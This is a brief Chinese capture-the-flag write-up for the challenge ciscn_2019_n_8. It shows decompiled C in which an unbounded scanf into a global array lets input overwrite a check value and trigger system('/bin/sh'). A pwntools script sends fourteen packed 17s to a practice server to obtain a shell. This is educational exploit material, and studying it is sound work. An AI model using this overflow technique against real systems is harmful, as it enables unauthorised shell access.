ctf【ciscn_2019_n_8】

逆向

int __cdecl main(int argc, const char **argv, const char **envp)
{
    
    
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    
    
    if ( *(_QWORD *)&var[13] == 17LL )
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    
    
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}

攻击思路

传入14个17

脚本攻击

from pwn import *
from LibcSearcher import *
p=remote('node4.buuoj.cn',27581)

payload=p32(17)*14

p.sendline(payload)
p.interactive()